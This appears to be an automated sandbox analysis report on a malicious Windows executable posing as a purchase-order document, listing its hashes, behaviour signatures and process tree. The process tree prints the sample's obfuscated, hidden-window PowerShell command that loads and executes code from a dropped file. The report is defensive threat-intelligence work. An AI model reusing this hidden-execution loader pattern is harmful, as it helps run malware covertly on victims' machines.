Analysis

  • max time kernel
    234s
  • max time network
    270s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-09-2024 13:23

General

  • Target

    Amended Purchase Order NO-SO 2384524-25-9166370-01983-2024095.exe

  • Size

    866KB

  • MD5

    91c5e51029084bde9acd6bc9af5220f6

  • SHA1

    f246106d1bfe604954dabd6cd9bd8760ea4c0f8a

  • SHA256

    5a7e0f864cf6079e91cc0912141c3e3ba2d170d441416ce183e6ab81f171ff2b

  • SHA512

    2f118794ba529e373d3080e379d2ed60cee9315bfc87f2e1a1c5320a1aa771f0f863c9df4a1610166171aa416c461cdad25a13166d1865a8cc47f68acf86ec60

  • SSDEEP

    12288:xtFwdlpA6jiUmTt9CZxkbBOkVsIVVsl+YQOo5/3BXqSvB88U+jVxTRcRRLw:ifiJ4xkbBO9sslpQPR+9A1cHLw

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Amended Purchase Order NO-SO 2384524-25-9166370-01983-2024095.exe
    "C:\Users\Admin\AppData\Local\Temp\Amended Purchase Order NO-SO 2384524-25-9166370-01983-2024095.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2084
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$ganglie=Get-Content 'C:\Users\Admin\AppData\Local\Whirries\Mathematik.Dek';$Hardhewer=$ganglie.SubString(55412,3);.$Hardhewer($ganglie)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5112
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 5112 -s 2300
        3⤵
        • Program crash
        PID:4932
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4216,i,15336851255456239337,16379811035920490645,262144 --variations-seed-version --mojo-platform-channel-handle=4104 /prefetch:8
    1⤵
      PID:1404
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5112 -ip 5112
      1⤵
        PID:1620

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gvoex5wj.msy.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Whirries\Mathematik.Dek

        Filesize

        54KB

        MD5

        e9f8477b531c7d51f6e43bffeacbd677

        SHA1

        bf13eaca6abe75ac5a187565c15533be84244037

        SHA256

        ad5a0e4489eb10087702ada6570dc41c4346cb140613dfb6e96043c6b27d7446

        SHA512

        479bea30296ef8c7d3af946630e5fc8cc55d8a5323b6f43b87df8fff2cbb7ab1a97412b76652f09e7483fe482a2ecc2360603cb88f677d537770c14841ffa9c5

      • memory/5112-12-0x00000000749C0000-0x0000000075170000-memory.dmp

        Filesize

        7.7MB

      • memory/5112-27-0x0000000005A90000-0x0000000005ADC000-memory.dmp

        Filesize

        304KB

      • memory/5112-8-0x00000000749CE000-0x00000000749CF000-memory.dmp

        Filesize

        4KB

      • memory/5112-13-0x0000000004BB0000-0x0000000004BD2000-memory.dmp

        Filesize

        136KB

      • memory/5112-14-0x0000000004C50000-0x0000000004CB6000-memory.dmp

        Filesize

        408KB

      • memory/5112-15-0x0000000004CC0000-0x0000000004D26000-memory.dmp

        Filesize

        408KB

      • memory/5112-10-0x00000000749C0000-0x0000000075170000-memory.dmp

        Filesize

        7.7MB

      • memory/5112-25-0x0000000005440000-0x0000000005794000-memory.dmp

        Filesize

        3.3MB

      • memory/5112-26-0x0000000005A60000-0x0000000005A7E000-memory.dmp

        Filesize

        120KB

      • memory/5112-11-0x0000000004D90000-0x00000000053B8000-memory.dmp

        Filesize

        6.2MB

      • memory/5112-28-0x0000000006A20000-0x0000000006AB6000-memory.dmp

        Filesize

        600KB

      • memory/5112-30-0x0000000005FE0000-0x0000000006002000-memory.dmp

        Filesize

        136KB

      • memory/5112-29-0x0000000005F90000-0x0000000005FAA000-memory.dmp

        Filesize

        104KB

      • memory/5112-31-0x0000000007070000-0x0000000007614000-memory.dmp

        Filesize

        5.6MB

      • memory/5112-9-0x0000000002140000-0x0000000002176000-memory.dmp

        Filesize

        216KB

      • memory/5112-33-0x0000000007CA0000-0x000000000831A000-memory.dmp

        Filesize

        6.5MB

      • memory/5112-34-0x00000000749C0000-0x0000000075170000-memory.dmp

        Filesize

        7.7MB